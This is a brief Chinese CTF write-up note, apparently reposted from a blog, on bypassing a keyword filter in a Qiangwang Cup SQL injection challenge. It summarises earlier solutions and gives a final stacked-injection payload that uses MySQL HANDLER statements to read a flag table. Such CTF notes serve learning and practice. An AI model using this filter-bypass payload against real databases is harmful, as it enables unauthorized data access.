记录CTF一些奇技滛巧

handler绕过

原题是强网杯一道题目:

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

一开始这道题有两种解法,一种是堆叠注入+改表名,因为默认查的是words表,只要把flag在的表改成words,然后更改一下字段就可以,还有一种是使用堆叠注入+预处理语句,这种也没什么,比较简单。后来有人那这道题改编了一下,把rename和set过滤了,就又出现一种方法,使用handler语句,这个还是比较少见的,最终payload:

1'; handler `1919810931114514` open;handler `1919810931114514` read first;--+

handler文档:https://dev.mysql.com/doc/refman/8.0/en/handler.html

原文地址:https://www.cnblogs.com/Rasang/p/13560732.html